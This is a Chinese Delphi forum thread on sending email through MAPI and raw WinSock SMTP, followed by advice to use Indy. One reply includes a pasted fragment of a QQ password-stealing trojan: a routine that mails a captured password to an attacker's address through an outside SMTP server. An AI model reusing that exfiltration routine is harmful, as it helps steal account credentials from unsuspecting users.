这是个老生常谈的话题!现在想用DELPHI调用系统API做一个收发邮件的小东西!谁知道这要用到哪些系统API?如果可能给我点更详细的资料就更好了!!谢谢!本来想为这个话题多给点分,但是看了,最多只能给100分!
如果不够,以后有机会再补!

解决方案 »

  1.   

    如果底层不想实现的话下载个JMail用吧或者装个Indy控件,自己写点代码就实现了具体用法自己搜索,光CSDN就一大堆
      

  2.   

    如果想用纯API实现的话,猛料上有一篇文章,贴给你吧  纯api的发送邮件程序    
      function SendMail(const Subject, Body, FileName, 
    SenderName, SenderEMail,RecepientName, RecepientEMail: string): Integer;varMessage: TMapiMessage;lpSender, lpRecepient: TMapiRecipDesc;FileAttach: TMapiFileDesc;SM: TFNMapiSendMail;MAPIModule: HModule;beginFillChar(Message, SizeOf(Message), 0);with Message dobeginif (Subject <> '') then lpszSubject := PChar(Subject);if (Body <> '') then lpszNoteText := PChar(Body);if (SenderEmail <> '') thenbeginlpSender.ulRecipClass := MAPI_ORIG;if (SenderName = '') thenlpSender.lpszName := PChar(SenderEMail)elselpSender.lpszName := PChar(SenderName);lpSender.lpszAddress := PChar(SenderEmail);lpSender.ulReserved := 0;lpSender.ulEIDSize := 0;lpSender.lpEntryID := nil;lpOriginator := @lpSender;end;if (RecepientEmail <> '') thenbeginlpRecepient.ulRecipClass := MAPI_TO;if (RecepientName = '') thenlpRecepient.lpszName := PChar(RecepientEMail)elselpRecepient.lpszName := PChar(RecepientName);lpRecepient.lpszAddress := PChar(RecepientEmail);lpRecepient.ulReserved := 0;lpRecepient.ulEIDSize := 0;lpRecepient.lpEntryID := nil;nRecipCount := 1;lpRecips := @lpRecepient;endelselpRecips := nil;if (FileName = '') thenbeginnFileCount := 0;lpFiles := nil;endelsebeginFillChar(FileAttach, SizeOf(FileAttach), 0);FileAttach.nPosition := Cardinal($FFFFFFFF);FileAttach.lpszPathName := PChar(FileName);nFileCount := 1;lpFiles := @FileAttach;end;end;MAPIModule := LoadLibrary(PChar(MAPIDLL));if MAPIModule = 0 thenResult := -1elsetry@SM := GetProcAddress(MAPIModule, 'MAPISendMail');if @SM <> nil thenbeginResult := SM(0, Application.Handle, Message, MAPI_DIALOG orMAPI_LOGON_UI, 0);endelseResult := 1;finallyFreeLibrary(MAPIModule);end;if Result <> 0 thenMessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,[mbOK], 0);end;
      

  3.   

    **********************下面是利用WinSock发送电子邮件的例子:whaoye:program SendMail;useswinsock;{$R *.RES}procedure sendmails;stdcall;vars:tsocket;buffer:array[0..255] of char;errorcode:integer;mailserver:tsockaddr;beginmailserver.sin_family:=af_inet;mailserver.sin_port:=htons(25);mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');s:=socket(af_inet,sock_stream,0);errorcode:=connect(s,mailserver,sizeof(mailserver));if errorcode<>invalid_socket thenbeginbuffer:='HELO'+#13#10;send(s,buffer,length('HELO'+#13#10),0);buffer:='MAIL FROM: [email protected]'+#13#10;send(s,buffer,length('MAIL FROM: [email protected]'+#13#10),0);buffer:='RCPT TO:administrator@godeye'+#13#10;send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);buffer:='DATA'+#13#10;send(s,buffer,length('DATA'+#13#10),0);buffer:='FROM:[email protected]'+#13#10;send(s,buffer,length('FROM:[email protected]'+#13#10),0);buffer:='TO:administrator@godeye'+#13#10;send(s,buffer,length('TO:[email protected]'+#13#10),0);buffer:='SUBJECT:just a test!'+#13#10;send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);buffer:='I LOVE THIS GAME!'+#13#10;send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);buffer:='.'+#13#10;send(s,buffer,length('.'+#13#10),0);buffer:='QUIT'+#13#10;send(s,buffer,length('QUIT'+#13#10),0);closesocket(s);end;end;varwsa:twsadata;beginwsastartup($0202,wsa);sendmails;wsacleanup;end.*******************//下面是个发信的子过程,取得密码后发回[email protected]邮箱procedure MailSend;beginerr:=recv(FSocket,sbuf,400,0);s1:=strpas(sbuf);inc(step);case step of1:s1:='HELO smtp.hacker.com'+CRLF;2:s1:='MAIL FROM: <[email protected]>'+CRLF;3:s1:='RCPT TO: <'+email+'>'+CRLF;4:s1:='DATA'+CRLF;5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF+'To:"getoicq"<www.password.com>'+CRLF+'Subject:QQ2001 Password come.'+CRLF+CRLF+newpass+CRLF+'.'+CRLF;6:s1:='QUIT'+CRLF;elsestep:=0;end;strcopy(sbuf,pchar(s1));err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);end;//发信主过程procedure SendPass;beginerr:=WSAStartup($0101,WSAData);FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);//利用 smtp.21cn.com 进行发信fhost:='202.104.32.230';fport:=25;SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));SockAddrIn.sin_family := PF_INET;SockAddrIn.sin_port :=htons(Fport);err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));step:=0;repeatMailSend;until step=0;err:=closesocket(FSocket);err:=WSACleanup;end;
      

  4.   

    简单起见,简易楼主用indy控件做,我刚做过,感觉还可以,特别是indy10.0比较好用,不过好像也有一些小bug,例子在delphi\demos\indy,不过可能要到网上去下载
      

  5.   

    搜索 Simple Mail Transfer Protocol
      

  6.   

    我在内容中说得很清楚,我要的是纯API发送邮件至于用VCL控件发送邮件的东西很简单,我也用过,现在我想直接用API来开发因为这样对我来说,做起来更方便,也更灵活!非常感谢chijingde(AD) 的贴子!我再等等,还有没有别人的例子,下班前结贴!!
      

  7.   

    什么叫直接调API,如果是指上面那个WinSock发送电子邮件那种那还是算了吧这只是个API谁来封装的问题,在实际的软件开发中,这种示例根本没有利用价值,只是示例而已。如果你真像写示例一样去写开发软件,维护性,扩展性等等都很差,甚至很容易出问题,出了问题也不好改。关注软件的核心架构,别跟系统API扯上关系才是正确做法。
      

  8.   

    赞同ehom(?!) ,其实SMTP,POP3协议倒是不很复杂,关键是里面的各种编码解码以及多种part,你自己搞,估计就是知道怎么写也要很久调试才能“基本”过关吧
      

  9.   

    我也同意以上几位强烈反对自己写底层,太不划算了(当然如果你的目的是学习就当我没说)其实调用API跟调用人家已经提供好的接口有什么不同?为啥非要自己写,API也是些接口,总不会也要自己实现一边吧?俗话说得好,要站在巨人的肩膀上,嘿嘿个人感觉INDY已经作的很好了只要将来这个协议不发生改变,他的封装就不会出什么大错自己用API写的话……呵呵,我是不敢夸这个海口
      

  10.   

    我的意思是说,要用API也要按照类似的方法封装
      

  11.   

    不错!我用API就是想自己再进行一次封装成自己的类!现在结帐: